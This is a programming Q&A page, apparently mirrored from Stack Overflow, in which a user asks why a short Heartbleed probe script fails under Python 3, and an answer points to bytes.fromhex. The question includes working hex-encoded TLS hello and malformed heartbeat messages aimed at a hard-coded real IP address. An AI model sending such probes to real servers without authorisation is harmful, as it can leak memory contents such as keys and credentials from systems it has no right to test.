CODEWITHSUNDEEP
pythonpython-3.xencode
Tamanbir
Tamanbir

Reputation: 76

Decode error with heartbleed python scirpt

I was looking for hertbleed ssl vulnerability online and came up with a simple code online from Sans:

import socket
sh=socket.socket()
sh.connect(("54.217.122.251",443))
sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))
helloresponse=sh.recv(8196)
sh.send("1803020003014000".decode('hex'))
data=sh.recv(8196)

This code simply sends a Hello message in the decoded format using python decode to SSL server to find if the server is vulnerable to Heartbleed vulnerability. But when i run this code in python 3.7 it shows an error as follows : 

sh.send("16030200310100002d0302500bafbbb75ab83ef0ab9ae3f39c6315334137acfd6c181a2460dc4967c2fd960000040033c01101000000".decode('hex'))

AttributeError: 'str' object has no attribute 'decode'

NOTE: Try using another IP address and not the one used in this

Upvotes: 1

Views: 148

Answers (1)

snakecharmerb
snakecharmerb

Reputation: 55759

Decoding str values from hex worked in Python 2:

>>> "1803020003014000".decode('hex')
'\x18\x03\x02\x00\x03\x01@\x00'

In Python 3, you want to use bytes.fromhex:

>>> bytes.fromhex("1803020003014000")
b'\x18\x03\x02\x00\x03\x01@\x00'

Upvotes: 1

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